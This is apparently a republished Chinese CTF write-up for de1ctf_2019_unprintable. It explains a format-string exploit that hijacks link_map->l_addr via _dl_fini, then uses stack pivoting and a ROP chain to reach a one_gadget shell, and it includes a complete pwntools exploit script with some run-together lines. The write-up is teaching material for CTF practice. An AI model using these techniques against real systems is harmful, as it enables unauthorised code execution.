de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

2023-10-09 20:59

本文主要是介绍de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,存在一个非栈上的格式化字符串漏洞,但是关闭了文件描述符1,导致不能输出,并且printf结束后就调用了exit(0)

看看栈里有没有什么可用的数据

基本没有,要想劫持printf返回地址进而多次利用,是不行的,因为printf一次性不能实现,即不能修改栈中数据指向printf返回地址后继续利用新得到这个地址取修改printf返回地址,即其不具有传递性,其值依然是之前的值,因此必须分步。

在这里,我们发现一个有用的指针,该指针指向的地方正好就对应着dllinkmap->l_addr

exit会调用dl_fini函数,我们看看dl_fini函数的源码

本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8

现在,我们劫持l_addr,使得l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到我们的buf里,这样,我们就能在buf里伪造fini_array,进而进行二次利用。

因此,第一次,我们的payload为

payload ='%'+str(0x298)+'c'+'%26$hn'

payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)

sh.sendline(payload)

这样做以后,l->addr变成了0x298,l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr处就偏移到了我们buf里,而此处我们布下了地址0x00000000004007A3,于是0x00000000004007A3处会被执行。

当第二次回到printf的时候,栈里已经有许多成链的栈地址可以用了,并且,有一个直接指向了printf的返回地址,我们可以直接利用。

这样,我们就在buf里布置下rop,然后利用printf成链攻击劫持函数栈迁移返回到buf里执行rop。

其中有一个gadget,我们可以用来将bss段上的stdout指针改成one_gadget地址,然后在csu里面进行call即可。

.text:00000000004006E8 adc     [rbp+48h], edx

#coding:utf8
from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
one_gadget = 0xf1147
offset = one_gadget - libc.sym['_IO_2_1_stderr_']'''.text:00000000004006E8 adc     [rbp+48h], edx
.text:00000000004006EB mov     ebp, esp
.text:00000000004006ED call    deregister_tm_clones
.text:00000000004006F2 pop     rbp
.text:00000000004006F3 mov     cs:completed_7594, 1
.text:00000000004006FA rep retn
'''
adc_p_rbp_edx = 0x00000000004006E8sh = process('./de1ctf_2019_unprintable')
#sh = remote('node3.buuoj.cn',26685)
sh.recvuntil('This is your gift: ')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)#第一步,更改ld.so里的offset,使得array函数数组偏移到bss段上的buf里,重新执行read、printf
#第一步的作用是在栈里留下了大量的栈指针
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)
sh.sendline(payload)
sleep(0.5)
rop_addr = 0x0000000000601260
#利用gadget将stderr指针改为one_gadget指针
rop = p64(csu_pop)
tmp = stderr_ptr_addr-0x48
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#调用one_gadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)rop_addr = rop_addr - 0x18
#第二次,我们在buf里布下rop,同时劫持printf返回地址,进行下一轮利用
stdout_ptr_addr = 0x0000000000601020
payload = '%' + str(0xA3) + 'c%23$hhn'
payload = payload.ljust(0x200,'\x00')
payload += rop
sh.sendline(payload)
sleep(0.5)
#接下来我们在栈里布下rop_addr
for i in range(6):data = (stack_addr - 0x118 + i) & 0xFFif data < 0xA3:payload = '%' + str(data) + 'c%18$hhn%' + str(0xA3-data) + 'c%23$hhn'else:payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%18$hhn'sh.sendline(payload)sleep(0.5)data = rop_addr & 0xFFif data == 0:payload = '%13$hhn%' + str(0xA3) + 'c%23$hhn'else:if data < 0xA3:payload = '%' + str(data) + 'c%13$hhn%' + str(0xA3-data) + 'c%23$hhn'else:payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%13$hhn'rop_addr = rop_addr >> 0x8sh.sendline(payload)sleep(0.5)
sleep(0.5)
#接下来,劫持printf的返回地址为pop rsp,使得栈迁移到buf里执行rop
payload = '%' + str(pop_rsp & 0xFFFF) + 'c%23$hn'
sh.sendline(payload)sh.interactive()

 

这篇关于de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/175550

相关文章

一文带你理解Python中import机制与importlib的妙用

《一文带你理解Python中import机制与importlib的妙用》在Python编程的世界里,import语句是开发者最常用的工具之一,它就像一把钥匙,打开了通往各种功能和库的大门,下面就跟随小... 目录一、python import机制概述1.1 import语句的基本用法1.2 模块缓存机制1.

poj 3050 dfs + set的妙用

题意: 给一个5x5的矩阵,求由多少个由连续6个元素组成的不一样的字符的个数。 解析: dfs + set去重搞定。 代码: #include <iostream>#include <cstdio>#include <set>#include <cstdlib>#include <algorithm>#include <cstring>#include <cm

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

消除安卓SDK更新时的“https://dl-ssl.google.com refused”异常的方法

消除安卓SDK更新时的“https://dl-ssl.google.com refused”异常的方法   消除安卓SDK更新时的“https://dl-ssl.google.com refused”异常的方法 [转载]原地址:http://blog.csdn.net/x605940745/article/details/17911115 消除SDK更新时的“

第143天:内网安全-权限维持自启动映像劫持粘滞键辅助屏保后门WinLogon

案例一: 权限维持-域环境&单机版-自启动 自启动路径加载 路径地址 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\##英文C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\开始菜单\程序\启动\ #

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

【DL--05】深度学习基本概念—函数式模型

函数式模型 函数式模型算是本文档比较原创的词汇了,所以这里要说一下 在Keras 0.x中,模型其实有两种,一种叫Sequential,称为序贯模型,也就是单输入单输出,一条路通到底,层与层之间只有相邻关系,跨层连接统统没有。这种模型编译速度快,操作上也比较简单。第二种模型称为Graph,即图模型,这个模型支持多输入多输出,层与层之间想怎么连怎么连,但是编译速度慢。可以看到,Sequentia

【DL--04】深度学习基本概念—data_format

data_format 这是一个无可奈何的问题,在如何表示一组彩色图片的问题上,Theano和TensorFlow发生了分歧,’th’模式,也即Theano模式会把100张RGB三通道的16×32(高为16宽为32)彩色图表示为下面这种形式(100,3,16,32),Caffe采取的也是这种方式。第0个维度是样本维,代表样本的数目,第1个维度是通道维,代表颜色通道数。后面两个就是高和宽了。这种t

【DL--03】深度学习基本概念—张量

张量 TensorFlow中的中心数据单位是张量。张量由一组成形为任意数量的数组的原始值组成。张量的等级是其维数。以下是张量的一些例子: 3 # a rank 0 tensor; this is a scalar with shape [][1. ,2., 3.] # a rank 1 tensor; this is a vector with shape [3][[1., 2., 3.]

【DL--02】深度学习基本概念--符号计算

符号计算 Keras的底层库使用Theano或TensorFlow,这两个库也称为Keras的后端。无论是Theano还是TensorFlow,都是一个“符号式”的库。 因此,这也使得Keras的编程与传统的Python代码有所差别。笼统的说,符号主义的计算首先定义各种变量,然后建立一个“计算图”,计算图规定了各个变量之间的计算关系。建立好的计算图需要编译以确定其内部细节,然而,此时的计算图还